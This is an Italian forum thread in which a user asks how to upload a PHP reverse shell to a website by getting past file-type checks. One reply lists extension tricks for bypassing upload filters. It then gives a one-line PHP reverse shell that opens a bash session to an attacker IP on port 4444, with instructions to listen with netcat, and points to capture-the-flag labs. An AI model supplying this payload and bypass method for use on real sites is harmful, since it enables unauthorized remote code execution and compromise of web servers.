Domanda Php shell upload

[Helplease]

Buonasera a tutti, è da un po' di tempo che mi sono interessato all'attacco ad un sito web con l'upload di una reverse shell in php. So che per "convincere" il sito che il file caricato sia una foto esistono alcune tecniche, tra cui rinominarlo in .jpeg.php e .php.jpeg. Però ho letto di alcuni siti che verificano l'immagine provando a visualizzarla (non so se mi spiego). Qualcuno sa se esiste un modo per bypassare questo tipo di controllo? Grazie

 

[Utente cancellato 274325]

Si può fare, io nelle ctf cambiavo l'estensione del file per bypassare il controllo, puoi provare a cambiare l'estensione del file a:
.php3
.php4
.php5
.phtml
.php.jpg
E poi nel file .php inserisci il seguente codice:

<?php
exec("bash -i >& /dev/tcp/ATTACKING-IP/4444 0>&1");
?>

Al posto di ATTACKING-IP inserisci il tuo IP e mettiti in ascolto sulla porta 4444 con netcat.
Segui questo corso sul web hacking che ti insegnerà molte cose utili, segui anche questa guida sul bypass del file upload.

Spoiler

La File Upload non è l'unico modo per fare RCE

 

[GoodMan]

se il sito di upload è vecchio di 10 anni forse puoi bypassare il controllo dell'estensione

 

[Helplease]

Il problema più che altro sta nel fatto che il file, una volta caricato, viene rinominato

 

[Utente cancellato 274325]

Il problema più che altro sta nel fatto che il file, una volta caricato, viene rinominato

Non è importante a meno che non venga rinominata anche l'estensione del file, prova a vedere se lo riesci ad eseguirlo ugualmente, ti lascio qui sotto 2 ctf sulla file upload:

• Vulnversity
• RootMe